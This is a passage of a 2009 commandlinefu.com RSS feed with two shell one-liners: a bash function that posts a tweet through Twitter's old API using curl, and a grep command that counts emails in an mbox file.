      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ tweet () { curl -u UserName -d status=&amp;quot;$*&amp;quot; http://twitter.com/statuses/update.xml; }&lt;/code&gt;
&lt;div style=""&gt;&lt;p&gt;This version of tweet() doesn't require you to put quotes around the body of your tweet... it also prompts you for password. It will still barf on a '!' character.&lt;/p&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4001/another-tweet-function"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/bartonski"&gt;View all commands by &lt;strong&gt;bartonski&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/dD_C0eg23ILC2F9zykDsbCzSZc8/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dD_C0eg23ILC2F9zykDsbCzSZc8/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/dD_C0eg23ILC2F9zykDsbCzSZc8/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/dD_C0eg23ILC2F9zykDsbCzSZc8/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/KaxCAaEcDTk" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 06:54:02 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4001/another-tweet-function</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4001/another-tweet-function</feedburner:origLink></item>
    <item>
      <title><![CDATA[Count emails in an MBOX file]]></title>
      <link>http://feedproxy.google.com/~r/Command-line-fu/~3/RsvT6fE1ICg/count-emails-in-an-mbox-file</link>
      <guid isPermaLink="false">http://www.commandlinefu.com/commands/view/4000/count-emails-in-an-mbox-file</guid>
      <description>&lt;code style="padding:5px; font-family:monospace; font-size:12pt"&gt;$ grep -c '^From ' mbox_file&lt;/code&gt;
&lt;div style=""&gt;&lt;/div&gt;
&lt;ul style="list-style:none; padding: 0; margin: 0"&gt;
    &lt;li&gt;&lt;a href="http://www.commandlinefu.com/commands/view/4000/count-emails-in-an-mbox-file"&gt;View this command to comment, vote or add to favourites&lt;/a&gt;&lt;/li&gt;
    &lt;li&gt;&lt;a href="/commands/by/drewk"&gt;View all commands by &lt;strong&gt;drewk&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://www.commandlinefu.com"&gt;&lt;img src="http://www.commandlinefu.com/images/header-logo.jpg" alt="commandlinefu.com"/&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;by David Winterbottom (&lt;a href="http://codeinthehole.com"&gt;codeinthehole.com&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/T4i_ie_yzN3LqtxNPd6pqR1XkZE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T4i_ie_yzN3LqtxNPd6pqR1XkZE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/T4i_ie_yzN3LqtxNPd6pqR1XkZE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/T4i_ie_yzN3LqtxNPd6pqR1XkZE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/Command-line-fu/~4/RsvT6fE1ICg" height="1" width="1"/&gt;</description>
      <pubDate>Sat, 07 Nov 2009 03:31:05 +0000</pubDate>
      <comments>http://www.commandlinefu.com/commands/view/4000/count-emails-in-an-mbox-file</comments>
    <feedburner:origLink>http://www.commandlinefu.com/commands/view/4000/count-emails-in-an-mbox-file</feedburner:origLink></item>
  </channel>
</rss>
